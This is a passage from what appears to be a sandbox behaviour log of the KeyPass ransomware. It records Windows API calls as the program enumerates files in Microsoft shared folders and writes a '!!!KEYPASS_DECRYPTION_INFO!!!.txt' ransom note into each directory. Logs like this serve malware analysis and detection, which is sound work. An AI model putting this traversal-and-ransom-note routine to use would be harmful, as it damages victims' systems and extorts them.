(in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.lv-lv.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.ms-my.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.nb-no.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.nl-nl.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.pl-pl.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.pt-br.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.pt-pt.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.ro-ro.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.ru-ru.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.sk-sk.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.sl-si.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.sr-latn-rs.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.sv-se.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.th-th.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.tr-tr.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.uk-ua.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.vi-vn.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.zh-cn.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.zh-tw.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ClientCapabilities.json") returned=".json" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ClientEventLogMessages.man") returned=".man" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ClientTelemetry.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\cpprestsdk.dll") returned=".dll" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\FrequentOfficeUpdateSchedule.xml") returned=".xml" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned=".hash" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.925] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned=".hash" [0238.925] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned=".exe" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned=".exe" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned=".dll" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned=".dll" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned=".dll" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned=".dll" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned=".dll" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned=".exe" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned=".dll" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned=".exe" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned=".xml" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned=".xml" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\SharedPerformance.man") returned=".man" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned=".dll" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\SubsystemController.man") returned=".man" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned=".dll" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned=".dll" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.926] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned=".dll" [0238.926] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0238.926] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0238.927] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0238.927] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.927] GetLastError () returned 0x3f0 [0238.927] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.927] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x408 [0238.928] GetFileType (hFile=0x408) returned 0x1 [0238.928] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0238.928] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0238.928] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0238.928] WriteFile (in: hFile=0x408, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0238.929] WriteFile (in: hFile=0x408, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0238.929] CloseHandle (hObject=0x408) returned 1 [0238.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xcba0b8 [0238.929] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.929] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.929] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.929] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.929] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned=".xml" [0238.929] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.929] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.930] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd06180 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.930] GetLastError () returned 0x3f0 [0238.930] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.930] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c [0238.930] GetFileType (hFile=0x41c) returned 0x1 [0238.931] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.931] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.931] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.931] WriteFile (in: hFile=0x41c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.931] WriteFile (in: hFile=0x41c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.931] CloseHandle (hObject=0x41c) returned 1 [0238.932] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xcb9f78 [0238.932] FindNextFileW (in: hFindFile=0xcb9f78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.932] FindNextFileW (in: hFindFile=0xcb9f78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.932] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.932] FindNextFileW (in: hFindFile=0xcb9f78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.932] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned=".mui" [0238.932] FindNextFileW (in: hFindFile=0xcb9f78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.932] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.932] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.932] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd05ec8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.932] GetLastError () returned 0x3f0 [0238.932] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.932] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420 [0238.933] GetFileType (hFile=0x420) returned 0x1 [0238.933] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.933] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.933] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.933] WriteFile (in: hFile=0x420, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.934] WriteFile (in: hFile=0x420, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.934] CloseHandle (hObject=0x420) returned 1 [0238.934] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xcb9cb8 [0238.934] FindNextFileW (in: hFindFile=0xcb9cb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.934] FindNextFileW (in: hFindFile=0xcb9cb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.934] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.934] FindNextFileW (in: hFindFile=0xcb9cb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.935] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned=".mui" [0238.935] FindNextFileW (in: hFindFile=0xcb9cb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.935] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.935] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned=".xml" [0238.935] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.935] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.935] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd05f90 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.935] GetLastError () returned 0x3f0 [0238.935] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.935] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428 [0238.936] GetFileType (hFile=0x428) returned 0x1 [0238.936] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.936] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.936] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.936] WriteFile (in: hFile=0x428, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.937] WriteFile (in: hFile=0x428, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.937] CloseHandle (hObject=0x428) returned 1 [0238.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xcb9e38 [0238.937] FindNextFileW (in: hFindFile=0xcb9e38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.937] FindNextFileW (in: hFindFile=0xcb9e38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.937] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.937] FindNextFileW (in: hFindFile=0xcb9e38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.937] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned=".mui" [0238.937] FindNextFileW (in: hFindFile=0xcb9e38, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.937] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.937] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.937] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd05550 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.937] GetLastError () returned 0x3f0 [0238.938] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: 